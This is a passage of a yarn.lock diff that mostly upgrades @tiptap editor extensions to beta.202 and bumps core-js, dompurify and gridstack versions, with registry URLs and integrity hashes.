+ resolved "https://registry.yarnpkg.com/@tiptap/extension-code-block/-/extension-code-block-2.0.0-beta.202.tgz#a76fcb90e8e22082bedd9853f7a9bd0a541a800e"
+ integrity sha512-tfK9khIroGjsXQvk2K/9z1/UyQrB4+zghkjyK1xikzRmhgfOeqQzA0TDrFrz7ywFXmSFQ7GnnYAp+RW6r6wyUg==
+ dependencies:
+ prosemirror-state "^1.4.1"
+
+"@tiptap/extension-code@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-code/-/extension-code-2.0.0-beta.202.tgz#5d4352a6cc4a2d16262472fb11c54cfca24bd40a"
+ integrity sha512-XwAr7ysSWJVZWHNXDaNBTPH1CTyVxHnPv/PiCWTGhf8Fkx7R7xW2QCUKx4ablwxFlTY7H8xGmCujaewUQBdO5w==
+
+"@tiptap/extension-document@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-document/-/extension-document-2.0.0-beta.202.tgz#fa2b1a42075b1a6bfbcd9564289dfbf7347c903c"
+ integrity sha512-UsDSe93QtnuDrUo11wYCMtp7XlTIBvL5HNhx+enLRY7B8nUhX+d78u1BzspTpCkMYKcdwDmAGfIYMqqPViPEvA==
+
+"@tiptap/extension-dropcursor@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-dropcursor/-/extension-dropcursor-2.0.0-beta.202.tgz#a7e2b3c66dfb5c05077c05991fccd5e4166bdc1d"
+ integrity sha512-4Q3LnqvMnxP0KdX7tIgCoTCKg949rg351m0wguVb1bo4v9lA0zfJpSgqjQ1Xs2vaYVBwkFjLoqrfhTRn5mnopQ==
+ dependencies:
+ prosemirror-dropcursor "1.5.0"
+
+"@tiptap/extension-floating-menu@^2.0.0-beta.200":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-floating-menu/-/extension-floating-menu-2.0.0-beta.202.tgz#9f895a04cd93cf4b41542ef3b09f3c90bfd0e215"
+ integrity sha512-09liirOFsPDFRLS2FiFdnfzyyOQwwyVXLzI6MzUOw5RZbOsGJ5kB8jZdkXvsAIiOs0YYsH3fyOyWirIwSRhBTQ==
+ dependencies:
+ prosemirror-state "^1.4.1"
+ prosemirror-view "^1.28.2"
tippy.js "^6.3.7"
-"@tiptap/extension-gapcursor@^2.0.0-beta.38":
- version "2.0.0-beta.38"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-gapcursor/-/extension-gapcursor-2.0.0-beta.38.tgz#14254eed2c8702a287c4952d4e83bc3baeacd759"
- integrity sha512-sNMgfXLsTUew9LnjV2YTCGO0Ed6o2tkZkEQyWDoLMhdjffRPM9QUar0H+a/U+BTW8jJLwU1cRpw6uykBtWAVCw==
+"@tiptap/extension-gapcursor@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-gapcursor/-/extension-gapcursor-2.0.0-beta.202.tgz#567fb6281068db7fb5da2092550e83e01530d8cf"
+ integrity sha512-jOPMPPnTfVuc5YpFTcQM42/cg1J3+OeHitYb1/vBMpaNinVijuafsK14xDoVP8+sydKVgtBzYkfP/faN82I9iA==
dependencies:
- prosemirror-gapcursor "^1.3.0"
+ prosemirror-gapcursor "^1.3.1"
-"@tiptap/extension-hard-break@^2.0.0-beta.33":
- version "2.0.0-beta.33"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-hard-break/-/extension-hard-break-2.0.0-beta.33.tgz#e2f355a22aaaec6e831cf2880c52aa5b0b860573"
- integrity sha512-41xf0vSV9hcyTFd01ItLq/CjhjgmOFLCrO3UWN/P2E/cIxuDTyXcvjTE/KXeqRCOV3OYd9fVr0wO91hc8Ij1Yg==
+"@tiptap/extension-hard-break@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-hard-break/-/extension-hard-break-2.0.0-beta.202.tgz#f82c29f71082ae44c361964fb42e6e78d339dc29"
+ integrity sha512-Nr9BXeP+dXS5vLP/C2voTrhl+4YkDHBtPlc+5xm5NPBn04slTGSPO2lgV3YrMsfUOMNXHqeob1lq4qiLF4pybQ==
-"@tiptap/extension-heading@^2.0.0-beta.29":
- version "2.0.0-beta.29"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-heading/-/extension-heading-2.0.0-beta.29.tgz#d017d216c0fd1962c266f6f61a335093f9749862"
- integrity sha512-q92jYcsT5bPhvuQaB0h44Z9r+Ii22tDYo082KMVnR4+tknHT/3xx+p4JC8KHjh+/5W8Quyafqy6mS8L8VX0zsQ==
+"@tiptap/extension-heading@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-heading/-/extension-heading-2.0.0-beta.202.tgz#da12041c626825f8a3f3173ac922e11f2df55cbf"
+ integrity sha512-sF271jSWHgtoJLDNFLS7eyUcUStl7mBDQNJIENWVI+lFu2Ax8GmO7AoB74Q6L5Zaw4h73L6TAvaafHIXurz7tA==
-"@tiptap/extension-highlight@^2.0.0-beta.35":
- version "2.0.0-beta.199"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-highlight/-/extension-highlight-2.0.0-beta.199.tgz#e814555b2bf45dd578f5255f1460b867eb395e57"
- integrity sha512-tMRL2VTBK99q3UKf+uyM/t5LZJU1ZNHADo3drMYA6BXETjx5WzCBe0qyExZtUGMsWv5bop+Her82r5CKSxFqnQ==
+"@tiptap/extension-highlight@^2.0.0-beta.209":
+ version "2.0.0-beta.209"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-highlight/-/extension-highlight-2.0.0-beta.209.tgz#f373884097c17daf92ce3aecdc6c3781a4904c31"
+ integrity sha512-uy0Zu1dU2VcozvqpECb7+mxiazxstlb6w7jQQx8n4PAwIfN2LGv1UIil+VKRkc9amjBVwz+knm9psXEeJfjiBw==
-"@tiptap/extension-history@^2.0.0-beta.25":
- version "2.0.0-beta.25"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-history/-/extension-history-2.0.0-beta.25.tgz#756d8e82e8873278e567b460c67445f71563b797"
- integrity sha512-G3z6BYeb742U9G2wQPhv9qzf74WxDU3h8VlD3NKl3zdqciFG/lXYH6k3+B+aKHwAWfgdYo7NtLtdWPV9EE2vCg==
+"@tiptap/extension-history@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-history/-/extension-history-2.0.0-beta.202.tgz#d94770367a1a7b4e8f81f36d8b1731ca1fbc6879"
+ integrity sha512-BLwaOWmFHBQjOonojYHl1Po27IHxgjSAPw+ijMKtKzqa2msJRJevjC4tBaX5s/YrB7PQ2tFE7rfJED4HLjBm6w==
dependencies:
prosemirror-history "^1.3.0"
-"@tiptap/extension-horizontal-rule@^2.0.0-beta.36":
- version "2.0.0-beta.36"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-horizontal-rule/-/extension-horizontal-rule-2.0.0-beta.36.tgz#daf8e2d0f30b210a90fdb8f015646653661cfa04"
- integrity sha512-o+Zp7dcn3zAQhtlhZiFB69mTHuH3ZRbGEF7Cbf1D3uX1izotni5zIZbPaFFUT4r6OmVe/vDDt/nopfcGc10ktQ==
+"@tiptap/extension-horizontal-rule@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-horizontal-rule/-/extension-horizontal-rule-2.0.0-beta.202.tgz#12da36ea8ede0e720c7b2e5d1a2dd4c255798b2f"
+ integrity sha512-ut2Im/TNQynnuqdoY9yOjMDUKmxn97ERVEpqcQSaIgqBuF6bjk60Wa13ob6oS2g6vqXxwWFrnQVz48A9TcF5FQ==
dependencies:
- prosemirror-state "1.4.1"
+ prosemirror-state "^1.4.1"
-"@tiptap/extension-image@^2.0.0-beta.30":
- version "2.0.0-beta.30"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-image/-/extension-image-2.0.0-beta.30.tgz#60c6cfd09bfd017a3d8b1feaf0931462ffd71a60"
- integrity sha512-VhEmgiKkZMiKR7hbpJgIlIUS/QNjSGI5ER7mKDAbuV1IB5yb6nGjZ6o3Exrr2/CaTaW5hQarBC1z2Xgdu05EGg==
+"@tiptap/extension-image@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-image/-/extension-image-2.0.0-beta.202.tgz#5e50fdf7d7ac67b3475b1cfba71fb3acaddab0df"
+ integrity sha512-aHPJMXuoMgToTYkGZsz2ue8gKzes+B92qb9lVRYlY9f+r/tC2K4q3HMtx6qvh8l4Dei5/yeV9TqliY79E9A5dg==
-"@tiptap/extension-italic@^2.0.0-beta.28":
- version "2.0.0-beta.28"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-italic/-/extension-italic-2.0.0-beta.28.tgz#bf88ecae64c8f2f69f1f508b802c1efd7454a84e"
- integrity sha512-/pKRiCfewh7nqiXRD3N4hQHfGrGNOiWPFYZfY35bSpvTms7PDb/MF7xT1CWW23hSpY31BBS+R/a66vlR/gqu7Q==
+"@tiptap/extension-italic@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-italic/-/extension-italic-2.0.0-beta.202.tgz#0a991167dd06064bdf3c811d638d04cea9029206"
+ integrity sha512-vgSLy4KDp6AmnAHLHXe/nWeNbLnyUXxmf4U4+esebAV5Hu2F7LgceknFt9D8AGEtYUU+/fYKSeE2NGJgTQG9lA==
-"@tiptap/extension-link@^2.0.0-beta.43":
- version "2.0.0-beta.43"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-link/-/extension-link-2.0.0-beta.43.tgz#c123a2170dd50d075b9fe7fb91d86d23f778ffb0"
- integrity sha512-AYueqfTW713KGVfWSWhVbj4ObeWudgawikm3m0uYcKSdsAz/CfEvOD2/NA0uyQzlxmYLA6Pf8HMxoKGN+O4Cmg==
+"@tiptap/extension-link@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-link/-/extension-link-2.0.0-beta.202.tgz#2b10ef877937bf2d491fffaf3e0545105f61b6fb"
+ integrity sha512-/9bZd43dMkzmo7SCCDtEscgdFKCat9yZAyAyg+PHYdhI8Lbqv5GfjxzBbx58v7jEP1eDKFnwTDFVwAsxCE9f0w==
dependencies:
linkifyjs "^3.0.5"
- prosemirror-model "1.18.1"
- prosemirror-state "1.4.1"
-
-"@tiptap/extension-list-item@^2.0.0-beta.23":
- version "2.0.0-beta.23"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-list-item/-/extension-list-item-2.0.0-beta.23.tgz#6d1ac7235462b0bcee196f42bb1871669480b843"
- integrity sha512-AkzvdELz3ZnrlZM0r9+ritBDOnAjXHR/8zCZhW0ZlWx4zyKPMsNG5ygivY+xr4QT65NEGRT8P8b2zOhXrMjjMQ==
-
-"@tiptap/extension-ordered-list@^2.0.0-beta.30":
- version "2.0.0-beta.30"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-ordered-list/-/extension-ordered-list-2.0.0-beta.30.tgz#1f656b664302d90272c244b2e478d7056203f2a8"
- integrity sha512-GRxGQdq1u0Rp5N8TjthCqoZ//460m343A0HCN7UwfQOnX7Ipv0UJemwNkSHWrl7Pexym9vy3yPWgrn7oRRmgEw==
-
-"@tiptap/extension-paragraph@^2.0.0-beta.26":
- version "2.0.0-beta.26"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-paragraph/-/extension-paragraph-2.0.0-beta.26.tgz#5199c8cedb9c076347a2e15cc67442ef7c3c3fbb"
- integrity sha512-WcYsuUa7LLfk0vi7I1dVjdMRu53B52FMMqd+UL1qPdDKVkU3DBsZVwPj+yyfQyqN8Mc/xyg9VacGaiKFLmWNDg==
-
-"@tiptap/extension-strike@^2.0.0-beta.29":
- version "2.0.0-beta.29"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-strike/-/extension-strike-2.0.0-beta.29.tgz#7004d0c5d126b0517fa78efc5a333a4b8e3334bf"
- integrity sha512-zqFuY7GfNmZ/KClt6kxQ+msGo3syqucP/Xnlihxi+/h/G+oTvEwyOIXCtDOltvxcsWH/TUsdr5vzLp0j+Mdc6Q==
-
-"@tiptap/extension-subscript@^2.0.0-beta.13":
- version "2.0.0-beta.13"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-subscript/-/extension-subscript-2.0.0-beta.13.tgz#5da9523b50240c4f4999b1941d5d66d6ca85189d"
- integrity sha512-L9f2zKzNI5y4YvMdNxHDT4Y+8gS1UwtbTJ1vUJdCZGfF8DrMuTZIRp3LjOxYXydr7NGEXyYbucdm97Tzrsp8WA==
-
-"@tiptap/extension-superscript@^2.0.0-beta.13":
- version "2.0.0-beta.13"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-superscript/-/extension-superscript-2.0.0-beta.13.tgz#053b7df90ea26451c020075424b78053325672c1"
- integrity sha512-Vr9KIG2c4jzymcMMQCjhx2gppmRvnbw6Xvrd8YCpK4szyYI1ClMQ5KQMYl2zV3Y4ZIsivRSy9cE0ipGsXGE3Gw==
-
-"@tiptap/extension-table-cell@^2.0.0-beta.23":
- version "2.0.0-beta.23"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-table-cell/-/extension-table-cell-2.0.0-beta.23.tgz#a460318be151434ac31daffe94c2c4e53f2ea229"
- integrity sha512-LTvmAXkbwpLlGhwvVJabOKJbrWZYRp+0DizJaFtBXLSAHqzW9FQjuUhkTokeDRSc+PHMOb0tE1Kz6CRd8onIkA==
-
-"@tiptap/extension-table-header@^2.0.0-beta.25":
- version "2.0.0-beta.25"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-table-header/-/extension-table-header-2.0.0-beta.25.tgz#65e16d2a12973c60b837de100a5ac88be1da7372"
- integrity sha512-MO9Fa4Ng2sSBAov8cBJR3CxUBSaQQhNY6Dq2h3JINWUs03GPN3iihiVtD5N+0SFs8O4xJ5B8Cifkvd72lSqI3w==
-
-"@tiptap/extension-table-row@^2.0.0-beta.22":
- version "2.0.0-beta.22"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-table-row/-/extension-table-row-2.0.0-beta.22.tgz#a113ca3cde46af1fe7ecc4c229770726aedfd342"
- integrity sha512-o47oQn3Sv27iIinBf1s1nHoiFLdujNtSkfHhUgUz8zeyXRT2PtKmwSSEglB3c5jGAmt1CLfU8QJrmrV38CwFYw==
-
-"@tiptap/extension-table@^2.0.0-beta.54":
- version "2.0.0-beta.54"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-table/-/extension-table-2.0.0-beta.54.tgz#d0590fb1634bbad34fe407018c9c4de1388803d3"
- integrity sha512-KZbocjS9EbWMr/z7U8CUnVhMlV/YEDi7nV1lmrfzmQ6CVIJFQ9FrWCztN1QH3hWnvIcRnR6GM+5VdjFlalsp3A==
+ prosemirror-model "^1.18.1"
+ prosemirror-state "^1.4.1"
+
+"@tiptap/extension-list-item@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-list-item/-/extension-list-item-2.0.0-beta.202.tgz#32bc4beacb0f692abfc8283760292a6354f070dc"
+ integrity sha512-15yAsO+CCM8ievdX4oxg8kMBVFqhzVAw7pU6E8KL76kIwWCIIyVW6hU3VZdglyBVnAG0ws5/DaZ4VRFtVPRDvg==
+
+"@tiptap/extension-ordered-list@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-ordered-list/-/extension-ordered-list-2.0.0-beta.202.tgz#5b5987d3a1c98e579071e70485db2e82bf638ed9"
+ integrity sha512-PpJn8EtS8MLZ4NN9R3crmrivbjTMHjuSE2Ab3Y9TdeR9x9DIF23O/EkunnkPUiBUx6sNADprEWJIQesgpakrtw==
+
+"@tiptap/extension-paragraph@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-paragraph/-/extension-paragraph-2.0.0-beta.202.tgz#5a395a8107bfc767f80335a0cf7f89278ad0cf20"
+ integrity sha512-QI86DMUAz5froDJJXpbFV0I+iSFikjhQ8W5clYDbnrP/clRI/FYxklQ3oxSk4VzGBGB5EaBJf+jD7htLKb39UA==
+
+"@tiptap/extension-strike@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-strike/-/extension-strike-2.0.0-beta.202.tgz#8bf200fb044e5b2401edef26e26920b94ab35249"
+ integrity sha512-cs87UI/VTkmSfIwlHpm7nAPXok2bAQvxmNJ1y7UPzTATVl+ixP1F4aIkwiYk+X7rE/Sys+09PGg1Pr1shwUUkQ==
+
+"@tiptap/extension-subscript@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-subscript/-/extension-subscript-2.0.0-beta.202.tgz#730e0181c5b8d623fb4674d568d5ef4f3bd986d5"
+ integrity sha512-s/90xjDJGlWxontzyL0howpdTEbnl5EyvIDDYdAwalnHOGkyfWq8JMxL3klnxUL+Rn10sjatHnEYaLS2A5tN+Q==
+
+"@tiptap/extension-superscript@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-superscript/-/extension-superscript-2.0.0-beta.202.tgz#d756fb63585f8214ce3a7e2333978f2fb68b1259"
+ integrity sha512-kDOc+Sf1N5LzKWDBrTYBWaQFG40z3dCt/ljIMDWJt3Vka8ahnH4kcXhW9eNZLeIWavoj+M+4th+CPSfMdAYJbg==
+
+"@tiptap/extension-table-cell@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-table-cell/-/extension-table-cell-2.0.0-beta.202.tgz#95f3f9c14d4f21122bab109fb82e10b64ca5e613"
+ integrity sha512-Ypmcq7zaMSZ0VNKwDPINOsSzyuH+gSIw+FrXy6O1dzVHAo1gNFJ2pEG/ZhQ2RqpDTpGfJFD8tNDx8wjCCAVlxA==
+
+"@tiptap/extension-table-header@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-table-header/-/extension-table-header-2.0.0-beta.202.tgz#e9284abcfbe17c3c1ddfff55bb98873879c9d34a"
+ integrity sha512-/l0lz3Hmc+hikj+RfSW7F6B/jYV2dROGQnK1/EYjgbvOK0158ml1mB6/Dhm+BhldV73MI7eU8+3YLB9uhsPR4w==
+
+"@tiptap/extension-table-row@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-table-row/-/extension-table-row-2.0.0-beta.202.tgz#60cc878e7f7ae4ad82e1013471cb39a4058f9844"
+ integrity sha512-IsHBT3lp//XSqcAWPIGWjPIKQ4okVaDJbwcElehlOo/rcRBeK0orT+c10T08PoOsozi4BeMYRo0nfA5tvrJMEw==
+
+"@tiptap/extension-table@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-table/-/extension-table-2.0.0-beta.202.tgz#841254bf183e84a5b76edb4f1719883c85d51df8"
+ integrity sha512-WMfXtDfx45FgU81WnfxGOSJbVoaDpe8hjuBJSGbwJj+Qj4HGhbK7/RbTtDrM8oqseHRzHuGWgNX+EfOUQppjdA==
dependencies:
"@_ueberdosis/prosemirror-tables" "1.1.3"
- prosemirror-model "1.18.1"
- prosemirror-state "1.4.1"
- prosemirror-view "1.26.2"
-
-"@tiptap/extension-task-item@^2.0.0-beta.37":
- version "2.0.0-beta.37"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-task-item/-/extension-task-item-2.0.0-beta.37.tgz#fcf719c4f6d09a69a6525f116bb96560bddfdf51"
- integrity sha512-zdTE7G6KHgdr+V32eWk7V6YkKxV3X0VJvfuybRlUcS4QyX4dSWnIqeHzzmX8Jd9IXjRghIFtjNi7IKxIGAhMsg==
-
-"@tiptap/extension-task-list@^2.0.0-beta.29":
- version "2.0.0-beta.29"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-task-list/-/extension-task-list-2.0.0-beta.29.tgz#3ca388b9251e4d42d152177c609f6cebb57c4a1e"
- integrity sha512-PbHlVmYWevClA3mmXyshhR58GT1J22vVlFEDj2o25WRPY2dCTv4X136wPRVf9ee4nZII0Xcp2SsVC1kfgtuVRg==
-
-"@tiptap/extension-text@^2.0.0-beta.17":
- version "2.0.0-beta.17"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-text/-/extension-text-2.0.0-beta.17.tgz#4fdd1bdf62c82c1af6feef91c689906a8f5b171e"
- integrity sha512-OyKL+pqWJEtjyd9/mrsuY1kZh2b3LWpOQDWKtd4aWR4EA0efmQG+7FPwcIeAVEh7ZoqM+/ABCnPjN6IjzIrSfg==
-
-"@tiptap/suggestion@^2.0.0-beta.96":
- version "2.0.0-beta.98"
- resolved "https://registry.yarnpkg.com/@tiptap/suggestion/-/suggestion-2.0.0-beta.98.tgz#b953ae9153eab6ea07fa39ec5aafaa3eba695117"
- integrity sha512-zdXMdLBt+i/LWu3ZxGV9/UpMCrArqhno73/Tfno+9Gz2Y+jrUsex01sPuf3L/e8YlySAdLmZImNtTc7LjXsvEQ==
- dependencies:
- prosemirror-model "1.18.1"
- prosemirror-state "1.4.1"
- prosemirror-view "1.26.2"
-
-"@tiptap/vue-2@^2.0.0-beta.84":
- version "2.0.0-beta.84"
- resolved "https://registry.yarnpkg.com/@tiptap/vue-2/-/vue-2-2.0.0-beta.84.tgz#abf2e8e53759e9d7c69b6a7f62164a1a8be2c013"
- integrity sha512-LJGVqD69pQn+8ZxYpROcRG4Zv2eAK7mFsKGf/tywtews09OkEynLbwyAePsF1nxsUASiA8M7rEiWoKWGFtJ6Qg==
- dependencies:
- "@tiptap/extension-bubble-menu" "^2.0.0-beta.61"
- "@tiptap/extension-floating-menu" "^2.0.0-beta.56"
- prosemirror-view "1.26.2"
+ prosemirror-model "^1.18.1"
+ prosemirror-state "^1.4.1"
+ prosemirror-view "^1.28.2"
+
+"@tiptap/extension-task-item@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-task-item/-/extension-task-item-2.0.0-beta.202.tgz#350fd2d823300bd9e64a56c98404bbcffe802f08"
+ integrity sha512-yOd72ELIr/NK3wb4SjetFCsTW/YU66LMjUCv6RFxgbcPtTN3auoaCelyo1l7EZSZmWbovR7G2QOiG1fQmfNgMg==
+
+"@tiptap/extension-task-list@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-task-list/-/extension-task-list-2.0.0-beta.202.tgz#b2484ca0507f1d8b413e7f2967f4b71afefa91a9"
+ integrity sha512-0E7hL2+vVeBm1khONomqk4Lac/LcQfKYesLvzLhjHOEuC7t8wTt7sZxI407b87YnQ+l8dsZey0vrcmV2/Wi4YQ==
+
+"@tiptap/extension-text@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-text/-/extension-text-2.0.0-beta.202.tgz#d0152f547572a14c4e0e88287acb2b0c311fef04"
+ integrity sha512-6UsfU9xvKTxHfZYxVJy5DSQ0ibnhC403KLRQ4ePwpJql0TotBx93/CBfPCVLFEwF86HNhf1fFUCx+j2wuwVxmA==
+
+"@tiptap/suggestion@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/suggestion/-/suggestion-2.0.0-beta.202.tgz#f0bc6a6712aeea266d7ed156c7c70ad29fb864e5"
+ integrity sha512-V2BepOUj3ycvogOZE/nY9q2J4Hm1oH44YhOkqHB+QFQeOu6vqhFRqgGniJji52z2tAF+dvydSpQEzG+uCf2MEA==
+ dependencies:
+ prosemirror-model "^1.18.1"
+ prosemirror-state "^1.4.1"
+ prosemirror-view "^1.28.2"
+
+"@tiptap/vue-2@2.0.0-beta.200":
+ version "2.0.0-beta.200"
+ resolved "https://registry.yarnpkg.com/@tiptap/vue-2/-/vue-2-2.0.0-beta.200.tgz#ca3c2be6a813644de0e0ddbf96d973d355971e57"
+ integrity sha512-sLa7arOVuHUfuoqAKGQrbJACxYaZ0Qlh4pO9rAxbGglVvO+L2VOXKqLORnsh6Sr/G1G6CnfUPSjf/S6BVHFmGg==
+ dependencies:
+ "@tiptap/extension-bubble-menu" "^2.0.0-beta.200"
+ "@tiptap/extension-floating-menu" "^2.0.0-beta.200"
+ prosemirror-view "^1.28.2"
"@tootallnate/once@2":
version "2.0.0"
@@ -2219,11 +2226,6 @@
resolved "https://registry.yarnpkg.com/@types/json5/-/json5-0.0.29.tgz#ee28707ae94e11d2b827bcbe5270bcea7f3e71ee"
integrity sha1-7ihweulOEdK4J7y+UnC86n8+ce4=
-"@types/lowlight@^0.0.3":
- version "0.0.3"
- resolved "https://registry.yarnpkg.com/@types/lowlight/-/lowlight-0.0.3.tgz#433b03dd63894dde17860063f4c90a688431194b"
- integrity sha512-R83q/yPX2nIlo9D3WtSjyUDd57t8s+GVLaL8YIv3k7zMMWpYpOXqjJgrWp80qXUJB/a1t76nTyBpxrv0JNYaEg==
-
"@types/mdast@^3.0.0":
version "3.0.10"
resolved "https://registry.yarnpkg.com/@types/mdast/-/mdast-3.0.10.tgz#4724244a82a4598884cbbe9bcfd73dff927ee8af"
@@ -3997,10 +3999,10 @@ core-js-pure@^3.0.0:
resolved "https://registry.yarnpkg.com/core-js-pure/-/core-js-pure-3.6.5.tgz#c79e75f5e38dbc85a662d91eea52b8256d53b813"
integrity sha512-lacdXOimsiD0QyNf9BC/mxivNJ/ybBGJXQFKzRekp1WTHoVUWsUHEn+2T8GJAzzIhyOuXA+gOxCVN3l+5PLPUA==
-core-js@^3.26.1, core-js@^3.6.5:
- version "3.26.1"
- resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.26.1.tgz#7a9816dabd9ee846c1c0fe0e8fcad68f3709134e"
- integrity sha512-21491RRQVzUn0GGM9Z1Jrpr6PNPxPi+Za8OM9q4tksTSnlbXXGKK1nXNg/QvwFYettXvSX6zWKCtHHfjN4puyA==
+core-js@^3.27.1, core-js@^3.6.5:
+ version "3.27.1"
+ resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.27.1.tgz#23cc909b315a6bb4e418bf40a52758af2103ba46"
+ integrity sha512-GutwJLBChfGCpwwhbYoqfv03LAfmiz7e7D/BNxzeMxwQf10GRSzqiOjx7AmtEk+heiD/JWmBuyBPgFtx0Sg1ww==
core-util-is@~1.0.0:
version "1.0.3"
@@ -5095,10 +5097,10 @@ dompurify@2.3.8:
resolved "https://registry.yarnpkg.com/dompurify/-/dompurify-2.3.8.tgz#224fe9ae57d7ebd9a1ae1ac18c1c1ca3f532226f"
integrity sha512-eVhaWoVibIzqdGYjwsBWodIQIaXFSB+cKDf4cfxLMsK0xiud6SE+/WCVx/Xw/UwQsa4cS3T2eITcdtmTg2UKcw==
-dompurify@^2.4.1:
- version "2.4.1"
- resolved "https://registry.yarnpkg.com/dompurify/-/dompurify-2.4.1.tgz#f9cb1a275fde9af6f2d0a2644ef648dd6847b631"
- integrity sha512-ewwFzHzrrneRjxzmK6oVz/rZn9VWspGFRDb4/rRtIsM1n36t9AKma/ye8syCpcw+XJ25kOK/hOG7t1j2I2yBqA==
+dompurify@^2.4.1, dompurify@^2.4.3:
+ version "2.4.3"
+ resolved "https://registry.yarnpkg.com/dompurify/-/dompurify-2.4.3.tgz#f4133af0e6a50297fc8874e2eaedc13a3c308c03"
+ integrity sha512-q6QaLcakcRjebxjg8/+NP+h0rPfatOgOzc46Fst9VAA3jF2ApfKBNKMzdP4DYTqtUMXSCd5pRS/8Po/OmoCHZQ==
domutils@^2.5.2, domutils@^2.6.0:
version "2.6.0"
@@ -6505,10 +6507,10 @@ graphql@^15.7.2:
resolved "https://registry.yarnpkg.com/graphql/-/graphql-15.7.2.tgz#85ab0eeb83722977151b3feb4d631b5f2ab287ef"
integrity sha512-AnnKk7hFQFmU/2I9YSQf3xw44ctnSFCfp3zE0N6W174gqe9fWG/2rKaKxROK7CcI3XtERpjEKFqts8o319Kf7A==
-gridstack@^7.0.0:
- version "7.0.0"
- resolved "https://registry.yarnpkg.com/gridstack/-/gridstack-7.0.0.tgz#2d00b28efa8d22a8b9ad2640c8ab64b494bbfdc9"
- integrity sha512-iBts/PRuqg6OQvdpv7A84p3RROxzXVSKjM3SJHrdl2pdDZKmIpGo2oxjdCHv6l+SzU2EuptcHd1Rqouocwl1Cg==
+gridstack@^7.1.2:
+ version "7.1.2"
+ resolved "https://registry.yarnpkg.com/gridstack/-/gridstack-7.1.2.tgz#288ccccf786e0440094a48d5f8d654064fb18566"
+ integrity sha512-vc0sHheyOCKe2VE9JgNlNjHroaYJAbOsl/R4sF6TY5WqKTa6owJz4pj3D+W3QQZ43zS18yttLw6m+R9UNuoC3A==
gzip-size@^6.0.0:
version "6.0.0"
@@ -10149,16 +10151,16 @@ property-information@^6.0.0:
resolved "https://registry.yarnpkg.com/property-information/-/property-information-6.1.1.tgz#5ca85510a3019726cb9afed4197b7b8ac5926a22"
integrity sha512-hrzC564QIl0r0vy4l6MvRLhafmUowhO/O3KgVSoXIbbA2Sz4j8HGpJc6T2cubRVwMwpdiG/vKGfhT4IixmKN9w==
-prosemirror-commands@1.3.0:
- version "1.3.0"
- resolved "https://registry.yarnpkg.com/prosemirror-commands/-/prosemirror-commands-1.3.0.tgz#361b2e2b2a347ce7453386459f97c3f549a1113b"
